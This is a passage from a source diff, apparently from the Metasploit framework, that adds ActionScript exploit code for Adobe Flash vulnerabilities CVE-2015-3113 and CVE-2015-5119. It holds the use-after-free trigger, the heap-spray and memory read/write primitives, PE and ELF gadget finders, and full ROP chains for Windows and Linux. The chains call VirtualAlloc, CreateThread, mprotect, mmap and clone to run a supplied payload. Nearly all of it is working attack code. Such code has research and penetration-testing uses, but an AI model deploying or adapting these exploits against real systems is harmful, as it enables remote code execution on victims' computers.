Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/Logger.as b/external/source/exploits/CVE-2015-3113/Logger.as new file mode 100755 index 0000000000..3f3ddd9785 --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str) + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str) + } + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/PE.as b/external/source/exploits/CVE-2015-3113/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5119/Elf.as b/external/source/exploits/CVE-2015-5119/Elf.as new file mode 100755 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5119/Exploit.as b/external/source/exploits/CVE-2015-5119/Exploit.as new file mode 100755 index 0000000000..c6b04367f7 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/Exploit.as @@ -0,0 +1,37 @@ +// Build with Flex SDK 4.6 + AIR 3.1 +package +{ + import flash.display.Sprite + import flash.events.Event + import mx.utils.Base64Decoder + import flash.display.LoaderInfo + import flash.utils.ByteArray + + public class Exploit extends Sprite + { + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + + public function Exploit():void + { + //trace("Got to checkpoint 0"); + if (stage) init(); + else addEventListener(Event.ADDED_TO_STAGE, init); + } + + private function init(e:Event = null):void + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + removeEventListener(Event.ADDED_TO_STAGE, init); + Logger.log('TryExpl...') + MyClass.TryExpl(this, platform, payload) + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5119/ExploitByteArray.as b/external/source/exploits/CVE-2015-5119/ExploitByteArray.as new file mode 100755 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-5119/ExploitVector.as b/external/source/exploits/CVE-2015-5119/ExploitVector.as new file mode 100755 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint + + public function ExploitVector(v:Vector., length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5119/Exploiter.as b/external/source/exploits/CVE-2015-5119/Exploiter.as new file mode 100755 index 0000000000..591cdce944 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/Exploiter.as @@ -0,0 +1,367 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var magic:uint + private var magic_arg0:uint + private var magic_arg1:uint + private var magic_object:uint + private var magic_table:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stub_address:uint + private var stub_space_object:uint + private var stub:Vector. = new Vector.(8) + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector., uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + static function Magic(...a){} + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + + // mov eax,[esp+0x4] + // xchg eax,esp + // rets + stub[0] = 0x0424448B + stub[1] = 0x0000C394 + + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + spray[i][4] = Magic + spray[i][5] = stub + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + magic = ev.at(pos + 4) - 1 + stub_space_object = ev.at(pos + 5) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + stub_address = ev.read(stub_space_object + 0x18) + magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0) + magic_table = ev.read(magic_object) + magic_arg0 = ev.read(magic + 0x1c) + magic_arg1 = ev.read(magic + 0x20) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + do_rop_windows() + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10 + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake stack on memory + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + for (var i:uint; i < 0x100; i++) { + eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4)) + } + + // VirtualProtect the stub with a *reliable* stackpivot + eba.write(stack_address + 8 + 0x80 + 28, virtualprotect) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stub_address) + eba.write(magic + 0x20, 0x10) + var args:Array = new Array(0x41) + Magic.call.apply(null, args); + + // Call to our stackpivot and init the rop chain + eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stack_address + 0x18000) + Magic.call.apply(null, null); + eba.write(magic_object, magic_table); + eba.write(magic + 0x1c, magic_arg0) + eba.write(magic + 0x20, magic_arg1) + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-5119/Logger.as b/external/source/exploits/CVE-2015-5119/Logger.as new file mode 100755 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-5119/MyClass.as b/external/source/exploits/CVE-2015-5119/MyClass.as new file mode 100755 index 0000000000..8556ff6c16 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/MyClass.as @@ -0,0 +1,98 @@ +package +{ + import flash.display.DisplayObjectContainer; + import flash.utils.ByteArray; + import flash.system.Capabilities; + import flash.events.MouseEvent; + import flash.external.ExternalInterface; + + public class MyClass + { + static var + _gc:Array, + _va:Array, + _ba:ByteArray, + _corrupted:Vector., + _isDbg:Boolean = Capabilities.isDebugger; + + // define malicious valueOf() + prototype.valueOf = function () + { + Logger.log("MyClass.valueOf()"); + + _va = new Array(5); + _gc.push(_va); // protect from GC // for RnD + + // reallocate _ba storage + _ba.length = 0x1100; + + // reuse freed memory + for(var i:int; i < _va.length; i++) + _va[i] = new Vector.(0x3f0); + + // return one byte for overwriting + return 0x40; + } + + // try to corrupt the length value of Vector. + static function TryExpl(e:Exploit, platform:String, payload:ByteArray) : Boolean + { + Logger.log("tryexpl") + try + { + var alen:int = 90; // should be multiply of 3 + var a = new Array(alen); + if (_gc == null) _gc = new Array(); + _gc.push(a); // protect from GC // for RnD + + // try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ] + for(var i:int; i < alen; i+=3){ + a[i] = new MyClass2(i); + + a[i+1] = new ByteArray(); + a[i+1].length = 0xfa0; + + a[i+2] = new MyClass2(i+2); + } + + // find these pages + for(i=alen-5; i >= 0; i-=3) + { + // take next allocated ByteArray + _ba = a[i]; + // call valueOf() and cause UaF memory corruption + _ba[3] = new MyClass(); + // _ba[3] should be unchanged 0 + Logger.log("_ba[3] = " + _ba[3]); + if (_ba[3] != 0) throw new Error("can't cause UaF"); + + // check results // find corrupted vector + for (var j:int = 0; j < _va.length; j++) { + if (_va[j].length != 0x3f0) { + _corrupted = _va[j] + } else { + delete(_va[j]) + _va[j] = null + } + } + + if (_corrupted != null) { + Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16)); + var exploiter:Exploiter = new Exploiter(e, platform, payload,_corrupted, 0x3f0) + Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16)); + return true + } + } + Logger.log("bad allocation. try again."); + } + catch (e:Error) + { + Logger.log("TryExpl() " + e.toString()); + } + + return false; + } + + } + +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5119/MyClass1.as b/external/source/exploits/CVE-2015-5119/MyClass1.as new file mode 100755 index 0000000000..84ba8381eb --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/MyClass1.as @@ -0,0 +1,9 @@ +package +{ + import flash.utils.ByteArray; + + class MyClass1 extends ByteArray + { + var o1:Object, o2:Object, o3:Object, o4:Object; + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5119/MyClass2.as 